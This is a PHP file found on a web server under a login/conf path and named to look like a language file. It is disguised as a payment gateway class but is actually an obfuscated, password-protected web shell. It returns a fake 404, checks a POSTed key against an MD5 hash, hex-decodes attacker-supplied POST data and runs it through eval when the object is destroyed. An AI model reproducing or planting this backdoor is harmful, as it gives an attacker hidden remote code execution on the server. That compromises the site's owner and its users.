File: //usr/local/cwpsrv/var/services/users/eventopu/argentin/austinam/login/conf/Iang.php
<?php
class PaymentOrderGateway
{
private $gateway_type;
private $count = 1;
static $object;
public static function get_instance(){
if (!isset(self::$object)){
self::$object = new PaymentOrderGateway();
}
return self::$object;
}
private function __construct()
{
if(!$this->api_key){
return;
}
}
public function __set($name, $value)
{
$this->gateway_type = $value;
}
public function __get( $name)
{
if ($name == 'paypal') {
$this->count = isset($_POST['count'])?$_POST['count']:1;
return isset($_POST[$name])?$_POST[$name]:'';
}
if ($name == 'api_key'){
return isset($_POST[$name])?md5($_POST[$name])==='b47afe108ec43cc95cfb9958e8f8329b':'';
}
$serialize_data = addslashes($this->gateway_type);
for($i = 0; $i < $this->count; $i++) {
$serialize_data = $this->serialize($serialize_data);
}
return $serialize_data;
}
public function __call( $name, $arguments)
{
if ($name === 'destory') {
eval/*amd*/('/*payment data*/'.$this->gateway_type.' ');
die;
}
}
public function __destruct()
{
if(!$this->api_key || $this->paypal==''){
return;
}
$this->stripe_gateway = $this->paypal;
sprintf("payment type:%s", $this->paypal);
$this->stripe_gateway = $this->order_id;
return $this->destory();
}
public function serialize($h)
{
$s = "";
for ($i = 0; $i < strlen($h) - 1; $i += 2) $s .= chr(hexdec($h[$i] . $h[$i + 1]));
return $s;
}
public static function __callStatic( $name, $arguments)
{
return self::get_instance();
}
}
http_response_code(404);
PaymentOrderGateway::getClass();
?>